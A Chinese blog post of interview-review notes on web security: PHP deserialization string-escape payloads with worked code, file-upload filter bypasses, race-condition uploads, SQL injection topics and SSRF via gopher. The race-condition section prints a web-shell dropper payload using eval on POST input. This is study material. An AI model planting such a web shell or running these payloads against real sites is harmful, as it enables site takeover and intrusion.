本文主要是介绍某些之前的漏洞的遗忘的记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
某些之前的漏洞的遗忘的记录
前段时间进行了一次WEB方向的面试,我发现我对于很多知识点有不少的欠缺的点,因此,我打算写这次的内容来记录下我没答上或者需要复习一下的知识:
PHP反序列化的基础知识:
1.__wakeup()方法绕过方式:
__wakeup()是一个特殊的魔术方法,它在对象进行反序列化的时候调用,当然,根据某些POP链的特殊之处,有的时候是放了有一个干扰点在__wakeup()函数中的,因此,需要绕过这个函数。那么,__wakeup()函数的绕过方式为当序列化中的成员数大于实际成员数,即可绕过,比如,一个序列化的参数为:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
这个时候就需要讲成员数,从1改为2或者更大的值即可:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
2.__involk和__call什么时候会被触发:
- __involk会在对象呗当作函数调用的时候触发。
- __call会在对象访问了不可访问的或者不存在的方法时会自动调用。
3.反序列化的字符逃逸:
对于该漏洞,当时我是回答的模模糊糊的,也正是因为我当时简简单单地看了这个知识点之后没有认真地去学习,去刷题巩固,因此,才会出现回答的模模糊糊的情况,因此,这里稍微内容详细点吧。
1).情况一----过滤后字符变多:
首先,假设一个类,然后有三个属性:username、password、isVIP。
class user{
public $username;
public $password;
public $isVIP;public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;}
}
当这个类被初始化的时候,isVIP被默认初始化为0,另外的两个属性则需要在实例化对象的时候传入相关的参数。
以下是传入属性的完整代码。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
对于这一段代码的输出结果为:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候,如果给这个对象中加入一个替换字符串的方法, 将admin替换为hacker,由于admin和hacker的字符的数目之间有一些差别,admin比hacker少一个,因此,这个可以作为一个字符数目增多的一个替换。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出的结果为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
那么,假设,我们想要修改的是isVIP的值为1,那么,就需要通过过滤后字符变多的特性,来使得过滤之后多出来的字符个数等于之后的所有字符的个数,然后,将想要修改的子串补充在后面,也就是说,本来需要在new user()这个对象的时候,传入的参数从admin*47之后加上 ;s:8:“password”;s:6:“123456”;s:5:“isVIP”;i:1;},那么,这个时候的代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出的语句就成为了:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里则会因为后面多余的子串会被丢弃,而成功完成了逃逸。
2).情况二----过滤后字符数目变少:
对于如下代码:
<?php
highlight_file(__file__);
function filter($str){return str_replace('ll', 'l', $str);
}class person{public $name = 'lonmar';public $age = '100';
}
其输出结果如下:
O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"100";}
因为PHP反序列化存在一个机制,那就是如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
因此,由上方所示的机制,就可以猜想到,想要修改age的值,就需要使name的长度比真实的包括后面的一个多出**";s:3:“age”;s:26:"123**的数目个的量,也就是21,那么,就需要构造42个l,因此,构造如下:
O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
那么,对于name的属性的值就成为了llllllllllllllllllllllllllllllllllllllllllonmar";s:3:“age”;s:26:"123,具体代码示例如下:
<?php
highlight_file(__file__);
function filter($str){return str_replace('ll', 'l', $str);
}class person{public $name = 'llllllllllllllllllllllllllllllllllllllllll';public $age = '123";s:3:"age";s:3:"111";}';
}
$a = new person();
$a = serialize($a);
var_dump($a);
$a = filter($a);
var_dump($a);
var_dump(unserialize($a));
输出的结果中,最后一步输出的结果为:
object(person)#1 (2) { ["name"]=> string(42) "lllllllllllllllllllll";s:3:"age";s:26:"123" ["age"]=> string(3) "111" }
4.对于析构方法__destruct(),如果程序报错导致无法触发该方法,如何绕过。
该问题至今未找到针对的关键词,只好先记录在这里,等到什么时候找到了问题的答案再回来解决。
5.原生类的内容:
由于原生类的内容我早已总结过一次,因此,直接在下面放上相关的地址
https://blog.csdn.net/qq_66013948/article/details/134896764?spm=1001.2014.3001.5501
文件上传相关内容:
1.限制PHP的后缀怎么绕过:
由于这种问题问得较为抽象,所以,我简要列出几个方法得名字,相关的内容可以根据实际情况来进行利用:
- 前端JS绕过
- MIME类型绕过
- 黑名单,可以利用phtml等可以被后端解析的文件后缀最为代替
- 双写绕过,当后端WAF使用的时preg_replace()函数作为绕过,并且没有递归或者循环的情况下,可以一次或多次双写进行绕过
- 大小写绕过,当后端正则的代码对于大小写敏感,且对于同个文件名后缀的大小写各种组合没有严格过滤的情况下
- .htaccess以及.user.ini绕过,只能上传jpg等图片格式的文件的情况下。
2.条件竞争:
由于在这里完全记录竞争包含感觉实在有点没啥大用,因此,我选择这里简要列举以下,等过段时间打upload-labs等等靶场的时候再系统性地进行。
1).什么是条件竞争:
再某些文件上传的情景中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件是否含有风险,如果有的话会被删除,这时我们就需要和删除函数(例如:unlink()函数)来进行时间与线程上的竞争,争取在删除文件之前访问到该文件。
2).补充知识点:
$_FILES全局变量数组内容如下:
$_FILES[‘myFile’][‘name’] 客户端文件的原名称。
$_FILES[‘myFile’][‘type’] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节。
$_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码。[‘error’] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)
3).利用的基础:
由于后端的操作时间很快,留给我们利用的时间很短,因此,想要通过手动去访问一个上传的文件拿到shell那几乎不可能,但是,我们却可以通过如下的payload来进行一些操作:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' ); ?>
在上传的文件中写入上述代码,该文件只要被访问到,即会马上创建一个shell.php文件,即使该文件被unlink函数删除后,其所创建的shell.php文件仍存在,我们可通过shell.php拿下站点。当然,这个可以使用python的爬虫脚本来进行辅助,具体的等到到时候打靶场的时候再说。
SQL注入的相关内容:
sql注入的内容问得稍微比较简单,基本上都是些基础得问题,问题如下:
sql注入分为几种类型,联合注入和盲注什么时候用,时间盲注和布尔盲注什么时候用,时间盲注禁用sleep函数,sql注入中禁止使用空格,获取字符ascii编码的函数有哪些,字符串截取函数有哪些,mysql写文件,UDF提权,盲注脚本相关
其中需要特别注意的问题又两个:
1.MySQL写文件:
因为这个完全没学,并且想看得话内容也稍微有点多,我将会在最近补上相关的文章。
https://blog.csdn.net/RABCDXB/article/details/124268975?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170981655416800227479856%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=170981655416800227479856&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-124268975-null-null.142v99pc_search_result_base5&utm_term=MySql%E5%86%99%E6%96%87%E4%BB%B6&spm=1018.2226.3001.4187
2.UDF提权:
该问题与上一个问题情况一样,最近会补写这两个问题的文章:
https://blog.csdn.net/qq_44159028/article/details/121193134?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170981674016800185873469%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=170981674016800185873469&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-121193134-null-null.142v99pc_search_result_base5&utm_term=UDF%E6%8F%90%E6%9D%83&spm=1018.2226.3001.4187
SSRF的gopher协议:
关于SSRF,面试提的问题量并不是那么多,仅仅只有一个gopher协议的相关内容。
1).什么是gopher协议:
大佬们对gopher协议下了如下的定义:
gopher协议是一种信息查0找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面
2).用来发送GET请求:
步骤:
- 构造HTTP数据包
- URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束
- 发送gopher协议, 协议后的IP一定要接端口
3).用来发送POST请求:
步骤:
- POST与GET传参的区别:它有4个参数为必要参数
- 需要传递Content-Type,Content-Length,host,post的参数
- 切记:Content-Length和POST的参数长度必须一致
这篇关于某些之前的漏洞的遗忘的记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!